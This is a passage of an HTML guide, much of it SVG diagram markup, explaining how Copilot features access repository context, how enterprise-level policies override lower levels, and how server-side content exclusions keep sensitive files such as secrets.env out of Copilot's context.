style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='176' y='4' fill='currentColor' style='font-size:1em'\u003eI\u003c/text\u003e\n\u003ctext text-anchor='middle' x='176' y='20' fill='currentColor' style='font-size:1em'\u003e\"\u003c/text\u003e\n\u003ctext text-anchor='middle' x='176' y='84' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='176' y='148' fill='currentColor' style='font-size:1em'\u003eu\u003c/text\u003e\n\u003ctext text-anchor='middle' x='176' y='180' fill='currentColor' style='font-size:1em'\u003e/\u003c/text\u003e\n\u003ctext text-anchor='middle' x='176' y='228' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='176' y='276' fill='currentColor' style='font-size:1em'\u003e.\u003c/text\u003e\n\u003ctext text-anchor='middle' x='176' y='292' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='176' y='308' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='184' y='4' fill='currentColor' style='font-size:1em'\u003eC\u003c/text\u003e\n\u003ctext text-anchor='middle' x='184' y='20' fill='currentColor' style='font-size:1em'\u003e)\u003c/text\u003e\n\u003ctext text-anchor='middle' x='184' y='36' fill='currentColor' style='font-size:1em'\u003eC\u003c/text\u003e\n\u003ctext text-anchor='middle' x='184' y='84' fill='currentColor' style='font-size:1em'\u003ed\u003c/text\u003e\n\u003ctext text-anchor='middle' x='184' y='132' fill='currentColor' style='font-size:1em'\u003eS\u003c/text\u003e\n\u003ctext text-anchor='middle' x='184' y='148' fill='currentColor' style='font-size:1em'\u003es\u003c/text\u003e\n\u003ctext text-anchor='middle' x='184' y='180' fill='currentColor' style='font-size:1em'\u003e*\u003c/text\u003e\n\u003ctext text-anchor='middle' x='184' y='228' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='184' y='276' fill='currentColor' style='font-size:1em'\u003eg\u003c/text\u003e\n\u003ctext text-anchor='middle' x='184' y='292' fill='currentColor' style='font-size:1em'\u003eu\u003c/text\u003e\n\u003ctext text-anchor='middle' x='184' y='308' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='192' y='4' fill='currentColor' style='font-size:1em'\u003eY\u003c/text\u003e\n\u003ctext text-anchor='middle' x='192' y='36' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='192' y='132' fill='currentColor' style='font-size:1em'\u003eE\u003c/text\u003e\n\u003ctext text-anchor='middle' x='192' y='148' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='192' y='180' fill='currentColor' style='font-size:1em'\u003e*\u003c/text\u003e\n\u003ctext text-anchor='middle' x='192' y='228' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='192' y='276' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='192' y='292' fill='currentColor' style='font-size:1em'\u003ec\u003c/text\u003e\n\u003ctext text-anchor='middle' x='192' y='308' fill='currentColor' style='font-size:1em'\u003ey\u003c/text\u003e\n\u003ctext text-anchor='middle' x='200' y='36' fill='currentColor' style='font-size:1em'\u003ed\u003c/text\u003e\n\u003ctext text-anchor='middle' x='200' y='84' fill='currentColor' style='font-size:1em'\u003eS\u003c/text\u003e\n\u003ctext text-anchor='middle' x='200' y='132' fill='currentColor' style='font-size:1em'\u003eT\u003c/text\u003e\n\u003ctext text-anchor='middle' x='200' y='148' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='200' y='228' fill='currentColor' style='font-size:1em'\u003es\u003c/text\u003e\n\u003ctext text-anchor='middle' x='200' y='276' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='200' y='292' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='208' y='4' fill='currentColor' style='font-size:1em'\u003e]\u003c/text\u003e\n\u003ctext text-anchor='middle' x='208' y='36' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='208' y='84' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='208' y='132' fill='currentColor' style='font-size:1em'\u003eT\u003c/text\u003e\n\u003ctext text-anchor='middle' x='208' y='148' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='208' y='276' fill='currentColor' style='font-size:1em'\u003eh\u003c/text\u003e\n\u003ctext text-anchor='middle' x='208' y='292' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='208' y='308' fill='currentColor' style='font-size:1em'\u003eL\u003c/text\u003e\n\u003ctext text-anchor='middle' x='216' y='84' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='216' y='132' fill='currentColor' style='font-size:1em'\u003eI\u003c/text\u003e\n\u003ctext text-anchor='middle' x='216' y='228' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='216' y='276' fill='currentColor' style='font-size:1em'\u003eu\u003c/text\u003e\n\u003ctext text-anchor='middle' x='216' y='292' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='216' y='308' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='224' y='36' fill='currentColor' style='font-size:1em'\u003eM\u003c/text\u003e\n\u003ctext text-anchor='middle' x='224' y='84' fill='currentColor' style='font-size:1em'\u003ev\u003c/text\u003e\n\u003ctext text-anchor='middle' x='224' y='132' fill='currentColor' style='font-size:1em'\u003eN\u003c/text\u003e\n\u003ctext text-anchor='middle' x='224' y='148' fill='currentColor' style='font-size:1em'\u003eG\u003c/text\u003e\n\u003ctext text-anchor='middle' x='224' y='228' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='224' y='276' fill='currentColor' style='font-size:1em'\u003eb\u003c/text\u003e\n\u003ctext text-anchor='middle' x='224' y='292' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='224' y='308' fill='currentColor' style='font-size:1em'\u003ec\u003c/text\u003e\n\u003ctext text-anchor='middle' x='232' y='36' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='232' y='84' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='232' y='132' fill='currentColor' style='font-size:1em'\u003eG\u003c/text\u003e\n\u003ctext text-anchor='middle' x='232' y='148' fill='currentColor' style='font-size:1em'\u003el\u003c/text\u003e\n\u003ctext text-anchor='middle' x='232' y='276' fill='currentColor' style='font-size:1em'\u003e/\u003c/text\u003e\n\u003ctext text-anchor='middle' x='232' y='292' fill='currentColor' style='font-size:1em'\u003es\u003c/text\u003e\n\u003ctext text-anchor='middle' x='232' y='308' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='240' y='36' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='240' y='84' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='240' y='132' fill='currentColor' style='font-size:1em'\u003eS\u003c/text\u003e\n\u003ctext text-anchor='middle' x='240' y='148' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='240' y='228' fill='currentColor' style='font-size:1em'\u003eI\u003c/text\u003e\n\u003ctext text-anchor='middle' x='240' y='276' fill='currentColor' style='font-size:1em'\u003e.\u003c/text\u003e\n\u003ctext text-anchor='middle' x='240' y='308' fill='currentColor' style='font-size:1em'\u003el\u003c/text\u003e\n\u003ctext text-anchor='middle' x='248' y='36' fill='currentColor' style='font-size:1em'\u003ec\u003c/text\u003e\n\u003ctext text-anchor='middle' x='248' y='84' fill='currentColor' style='font-size:1em'\u003e-\u003c/text\u003e\n\u003ctext text-anchor='middle' x='248' y='148' fill='currentColor' style='font-size:1em'\u003eb\u003c/text\u003e\n\u003ctext text-anchor='middle' x='248' y='228' fill='currentColor' style='font-size:1em'\u003eD\u003c/text\u003e\n\u003ctext text-anchor='middle' x='248' y='276' fill='currentColor' style='font-size:1em'\u003e.\u003c/text\u003e\n\u003ctext text-anchor='middle' x='256' y='36' fill='currentColor' style='font-size:1em'\u003eh\u003c/text\u003e\n\u003ctext text-anchor='middle' x='256' y='84' fill='currentColor' style='font-size:1em'\u003eS\u003c/text\u003e\n\u003ctext text-anchor='middle' x='256' y='132' fill='currentColor' style='font-size:1em'\u003e]\u003c/text\u003e\n\u003ctext text-anchor='middle' x='256' y='228' fill='currentColor' style='font-size:1em'\u003eE\u003c/text\u003e\n\u003ctext text-anchor='middle' x='256' y='276' fill='currentColor' style='font-size:1em'\u003e.\u003c/text\u003e\n\u003ctext text-anchor='middle' x='256' y='308' fill='currentColor' style='font-size:1em'\u003eR\u003c/text\u003e\n\u003ctext text-anchor='middle' x='264' y='36' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='264' y='84' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='264' y='148' fill='currentColor' style='font-size:1em'\u003eP\u003c/text\u003e\n\u003ctext text-anchor='middle' x='264' y='228' fill='currentColor' style='font-size:1em'\u003es\u003c/text\u003e\n\u003ctext text-anchor='middle' x='264' y='276' fill='currentColor' style='font-size:1em'\u003e)\u003c/text\u003e\n\u003ctext text-anchor='middle' x='264' y='308' fill='currentColor' style='font-size:1em'\u003eu\u003c/text\u003e\n\u003ctext text-anchor='middle' x='272' y='36' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='272' y='84' fill='currentColor' style='font-size:1em'\u003ed\u003c/text\u003e\n\u003ctext text-anchor='middle' x='272' y='148' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='272' y='228' fill='currentColor' style='font-size:1em'\u003e)\u003c/text\u003e\n\u003ctext text-anchor='middle' x='272' y='308' fill='currentColor' style='font-size:1em'\u003el\u003c/text\u003e\n\u003ctext text-anchor='middle' x='280' y='36' fill='currentColor' style='font-size:1em'\u003eg\u003c/text\u003e\n\u003ctext text-anchor='middle' x='280' y='84' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='280' y='148' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='280' y='276' fill='currentColor' style='font-size:1em'\u003e]\u003c/text\u003e\n\u003ctext text-anchor='middle' x='280' y='308' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='288' y='84' fill='currentColor' style='font-size:1em'\u003e)\u003c/text\u003e\n\u003ctext text-anchor='middle' x='288' y='148' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='288' y='308' fill='currentColor' style='font-size:1em'\u003es\u003c/text\u003e\n\u003ctext text-anchor='middle' x='296' y='148' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='296' y='308' fill='currentColor' style='font-size:1em'\u003e)\u003c/text\u003e\n\u003ctext text-anchor='middle' x='304' y='148' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='312' y='148' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='320' y='148' fill='currentColor' style='font-size:1em'\u003es\u003c/text\u003e\n\u003ctext text-anchor='middle' x='328' y='148' fill='currentColor' style='font-size:1em'\u003e)\u003c/text\u003e\n\u003c/g\u003e\n\n\t\t\u003c/svg\u003e\n\t\n\u003c/div\u003e\n\u003ch2 id=\"1-the-copilot-governance-model\"\u003e1. The Copilot Governance Model\u003c/h2\u003e\n\u003cp\u003eCopilot\u0026rsquo;s access varies by feature, and the difference matters:\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e\u003cstrong\u003eInline Suggestions:\u003c/strong\u003e Processes the open file plus a limited \u0026ldquo;neighboring tab\u0026rdquo; context.\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eCopilot Chat (@workspace):\u003c/strong\u003e Indexes the full repository open in the IDE, including all subdirectories and configuration files.\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eCopilot for PRs:\u003c/strong\u003e Operates on the full diff and surrounding file context of the pull request.\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003eThe policy hierarchy flows from \u003cstrong\u003eEnterprise → Organization → Repository\u003c/strong\u003e. Policies set at the enterprise level serve as a \u0026ldquo;hard floor.\u0026rdquo; If the enterprise policy disables a feature, no organization or repository admin can re-enable it. That is the lever you want for your most sensitive controls — set them at the top, and they stay set.\u003c/p\u003e\n\u003ch2 id=\"2-content-exclusions-server-side-enforcement\"\u003e2. Content Exclusions: Server-Side Enforcement\u003c/h2\u003e\n\u003cp\u003eThe primary tool for AI governance is \u003cstrong\u003eContent Exclusion\u003c/strong\u003e. Unlike a local configuration file, these rules live in the GitHub web interface (Organization Settings \u0026gt; Copilot \u0026gt; Content Exclusion) and are enforced server-side.\u003c/p\u003e\n\u003ch3 id=\"how-it-works\"\u003eHow it Works\u003c/h3\u003e\n\u003cp\u003eExclusions prevent Copilot from using matching files as context for suggestions and from including them in \u003ccode\u003e@workspace\u003c/code\u003e indexing. Because enforcement happens on GitHub\u0026rsquo;s servers, a developer cannot override these rules by modifying local files. That distinction matters: client-side workarounds can be worked around. Server-side rules cannot.\u003c/p\u003e\n\u003ch3 id=\"protected-code-lifecycle\"\u003eProtected Code Lifecycle\u003c/h3\u003e\n\n\n\n\u003cdiv class=\"goat svg-container \"\u003e\n\t\n\t\t\u003csvg\n\t\t\txmlns=\"http://www.w3.org/2000/svg\"\n\t\t\tfont-family=\"Menlo,Lucida Console,monospace\"\n\t\t\t\n\t\t\t\tviewBox=\"0 0 688 249\"\n\t\t\t\u003e\n\t\t\t\u003cg transform='translate(8,16)'\u003e\n\u003cpath d='M 88,48 L 344,48' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 360,160 L 608,160' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 88,208 L 608,208' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 80,0 L 80,16' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 80,48 L 80,224' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 352,16 L 352,64' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 352,88 L 352,104' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 352,120 L 352,136' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 352,160 L 352,192' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 352,216 L 352,232' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 616,16 L 616,176' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 616,208 L 616,224' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 352,192 L 352,200' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 352,216 L 352,224' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpolygon points='96.000000,208.000000 84.000000,202.399994 84.000000,213.600006' fill='currentColor' transform='rotate(180.000000, 88.000000, 208.000000)'\u003e\u003c/polygon\u003e\n\u003cpolygon points='352.000000,48.000000 340.000000,42.400002 340.000000,53.599998' fill='currentColor' transform='rotate(0.000000, 344.000000, 48.000000)'\u003e\u003c/polygon\u003e\n\u003cpolygon points='616.000000,160.000000 604.000000,154.399994 604.000000,165.600006' fill='currentColor' transform='rotate(0.000000, 608.000000, 160.000000)'\u003e\u003c/polygon\u003e\n\u003ccircle cx='80' cy='0' r='6' stroke='currentColor' fill='#fff'\u003e\u003c/circle\u003e\n\u003ctext text-anchor='middle' x='16' y='36' fill='currentColor' style='font-size:1em'\u003e1\u003c/text\u003e\n\u003ctext text-anchor='middle' x='24' y='36' fill='currentColor' style='font-size:1em'\u003e.\u003c/text\u003e\n\u003ctext text-anchor='middle' x='40' y='4' fill='currentColor' style='font-size:1em'\u003eD\u003c/text\u003e\n\u003ctext text-anchor='middle' x='40' y='36' fill='currentColor' style='font-size:1em'\u003eO\u003c/text\u003e\n\u003ctext text-anchor='middle' x='48' y='4' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='48' y='36' fill='currentColor' style='font-size:1em'\u003ep\u003c/text\u003e\n\u003ctext text-anchor='middle' x='56' y='4' fill='currentColor' style='font-size:1em'\u003ev\u003c/text\u003e\n\u003ctext text-anchor='middle' x='56' y='36' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='64' y='4' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='64' y='36' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='72' y='4' fill='currentColor' style='font-size:1em'\u003el\u003c/text\u003e\n\u003ctext text-anchor='middle' x='72' y='36' fill='currentColor' style='font-size:1em'\u003es\u003c/text\u003e\n\u003ctext text-anchor='middle' x='88' y='4' fill='currentColor' style='font-size:1em'\u003ep\u003c/text\u003e\n\u003ctext text-anchor='middle' x='88' y='36' fill='currentColor' style='font-size:1em'\u003ef\u003c/text\u003e\n\u003ctext text-anchor='middle' x='96' y='4' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='96' y='36' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='104' y='4' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='104' y='36' fill='currentColor' style='font-size:1em'\u003el\u003c/text\u003e\n\u003ctext text-anchor='middle' x='112' y='36' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='120' y='4' fill='currentColor' style='font-size:1em'\u003eA\u003c/text\u003e\n\u003ctext text-anchor='middle' x='128' y='4' fill='currentColor' style='font-size:1em'\u003ec\u003c/text\u003e\n\u003ctext text-anchor='middle' x='128' y='36' fill='currentColor' style='font-size:1em'\u003e`\u003c/text\u003e\n\u003ctext text-anchor='middle' x='136' y='4' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='136' y='36' fill='currentColor' style='font-size:1em'\u003es\u003c/text\u003e\n\u003ctext text-anchor='middle' x='144' y='4' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='144' y='36' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='152' y='4' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='152' y='36' fill='currentColor' style='font-size:1em'\u003ec\u003c/text\u003e\n\u003ctext text-anchor='middle' x='160' y='4' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='160' y='36' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='168' y='36' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='176' y='36' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='184' y='36' fill='currentColor' style='font-size:1em'\u003es\u003c/text\u003e\n\u003ctext text-anchor='middle' x='192' y='36' fill='currentColor' style='font-size:1em'\u003e.\u003c/text\u003e\n\u003ctext text-anchor='middle' x='200' y='36' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='208' y='36' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='216' y='36' fill='currentColor' style='font-size:1em'\u003ev\u003c/text\u003e\n\u003ctext text-anchor='middle' x='224' y='36' fill='currentColor' style='font-size:1em'\u003e`\u003c/text\u003e\n\u003ctext text-anchor='middle' x='264' y='84' fill='currentColor' style='font-size:1em'\u003e2\u003c/text\u003e\n\u003ctext text-anchor='middle' x='264' y='116' fill='currentColor' style='font-size:1em'\u003e3\u003c/text\u003e\n\u003ctext text-anchor='middle' x='264' y='148' fill='currentColor' style='font-size:1em'\u003e4\u003c/text\u003e\n\u003ctext text-anchor='middle' x='272' y='84' fill='currentColor' style='font-size:1em'\u003e.\u003c/text\u003e\n\u003ctext text-anchor='middle' x='272' y='116' fill='currentColor' style='font-size:1em'\u003e.\u003c/text\u003e\n\u003ctext text-anchor='middle' x='272' y='148' fill='currentColor' style='font-size:1em'\u003e.\u003c/text\u003e\n\u003ctext text-anchor='middle' x='288' y='84' fill='currentColor' style='font-size:1em'\u003eM\u003c/text\u003e\n\u003ctext text-anchor='middle' x='288' y='116' fill='currentColor' style='font-size:1em'\u003e[\u003c/text\u003e\n\u003ctext text-anchor='middle' x='288' y='148' fill='currentColor' style='font-size:1em'\u003eB\u003c/text\u003e\n\u003ctext text-anchor='middle' x='296' y='4' fill='currentColor' style='font-size:1em'\u003eG\u003c/text\u003e\n\u003ctext text-anchor='middle' x='296' y='84' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='296' y='148' fill='currentColor' style='font-size:1em'\u003el\u003c/text\u003e\n\u003ctext text-anchor='middle' x='304' y='4' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='304' y='84' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='304' y='116' fill='currentColor' style='font-size:1em'\u003eM\u003c/text\u003e\n\u003ctext text-anchor='middle' x='304' y='148' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='312' y='4' fill='currentColor' style='font-size:1em'\u003ev\u003c/text\u003e\n\u003ctext text-anchor='middle' x='312' y='84' fill='currentColor' style='font-size:1em'\u003ec\u003c/text\u003e\n\u003ctext text-anchor='middle' x='312' y='116' fill='currentColor' style='font-size:1em'\u003eA\u003c/text\u003e\n\u003ctext text-anchor='middle' x='312' y='148' fill='currentColor' style='font-size:1em'\u003ec\u003c/text\u003e\n\u003ctext text-anchor='middle' x='320' y='4' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='320' y='84' fill='currentColor' style='font-size:1em'\u003eh\u003c/text\u003e\n\u003ctext text-anchor='middle' x='320' y='116' fill='currentColor' style='font-size:1em'\u003eT\u003c/text\u003e\n\u003ctext text-anchor='middle' x='320' y='148' fill='currentColor' style='font-size:1em'\u003ek\u003c/text\u003e\n\u003ctext text-anchor='middle' x='328' y='4' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='328' y='116' fill='currentColor' style='font-size:1em'\u003eC\u003c/text\u003e\n\u003ctext text-anchor='middle' x='336' y='4' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='336' y='84' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='336' y='116' fill='currentColor' style='font-size:1em'\u003eH\u003c/text\u003e\n\u003ctext text-anchor='middle' x='336' y='148' fill='currentColor' style='font-size:1em'\u003ec\u003c/text\u003e\n\u003ctext text-anchor='middle' x='344' y='4' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='344' y='84' fill='currentColor' style='font-size:1em'\u003eg\u003c/text\u003e\n\u003ctext text-anchor='middle' x='344' y='148' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='352' y='4' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='352' y='84' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='352' y='116' fill='currentColor' style='font-size:1em'\u003eF\u003c/text\u003e\n\u003ctext text-anchor='middle' x='352' y='148' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='360' y='4' fill='currentColor' style='font-size:1em'\u003ec\u003c/text\u003e\n\u003ctext text-anchor='middle' x='360' y='84' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='360' y='116' fill='currentColor' style='font-size:1em'\u003eO\u003c/text\u003e\n\u003ctext text-anchor='middle' x='360' y='148' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='368' y='4' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='368' y='84' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='368' y='116' fill='currentColor' style='font-size:1em'\u003eU\u003c/text\u003e\n\u003ctext text-anchor='middle' x='368' y='148' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='376' y='84' fill='currentColor' style='font-size:1em'\u003es\u003c/text\u003e\n\u003ctext text-anchor='middle' x='376' y='116' fill='currentColor' style='font-size:1em'\u003eN\u003c/text\u003e\n\u003ctext text-anchor='middle' x='376' y='148' fill='currentColor' style='font-size:1em'\u003ex\u003c/text\u003e\n\u003ctext text-anchor='middle' x='384' y='4' fill='currentColor' style='font-size:1em'\u003eC\u003c/text\u003e\n\u003ctext text-anchor='middle' x='384' y='84' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='384' y='116' fill='currentColor' style='font-size:1em'\u003eD\u003c/text\u003e\n\u003ctext text-anchor='middle' x='384' y='148' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='392' y='4' fill='currentColor' style='font-size:1em'\u003eh\u003c/text\u003e\n\u003ctext text-anchor='middle' x='400' y='4' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='400' y='84' fill='currentColor' style='font-size:1em'\u003eE\u003c/text\u003e\n\u003ctext text-anchor='middle' x='400' y='116' fill='currentColor' style='font-size:1em'\u003e]\u003c/text\u003e\n\u003ctext text-anchor='middle' x='400' y='148' fill='currentColor' style='font-size:1em'\u003ec\u003c/text\u003e\n\u003ctext text-anchor='middle' x='408' y='4' fill='currentColor' style='font-size:1em'\u003ec\u003c/text\u003e\n\u003ctext text-anchor='middle' x='408' y='84' fill='currentColor' style='font-size:1em'\u003ex\u003c/text\u003e\n\u003ctext text-anchor='middle' x='408' y='148' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='416' y='4' fill='currentColor' style='font-size:1em'\u003ek\u003c/text\u003e\n\u003ctext text-anchor='middle' x='416' y='84' fill='currentColor' style='font-size:1em'\u003ec\u003c/text\u003e\n\u003ctext text-anchor='middle' x='416' y='148' fill='currentColor' style='font-size:1em'\u003el\u003c/text\u003e\n\u003ctext text-anchor='middle' x='424' y='84' fill='currentColor' style='font-size:1em'\u003el\u003c/text\u003e\n\u003ctext text-anchor='middle' x='424' y='148' fill='currentColor' style='font-size:1em'\u003el\u003c/text\u003e\n\u003ctext text-anchor='middle' x='432' y='84' fill='currentColor' style='font-size:1em'\u003eu\u003c/text\u003e\n\u003ctext text-anchor='middle' x='432' y='148' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='440' y='84' fill='currentColor' style='font-size:1em'\u003es\u003c/text\u003e\n\u003ctext text-anchor='middle' x='440' y='148' fill='currentColor' style='font-size:1em'\u003ec\u003c/text\u003e\n\u003ctext text-anchor='middle' x='448' y='84' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='448' y='148' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='456' y='84' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='456' y='148' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='464' y='84' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='464' y='148' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='472' y='148' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='480' y='84' fill='currentColor' style='font-size:1em'\u003eL\u003c/text\u003e\n\u003ctext text-anchor='middle' x='488' y='84' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='496' y='84' 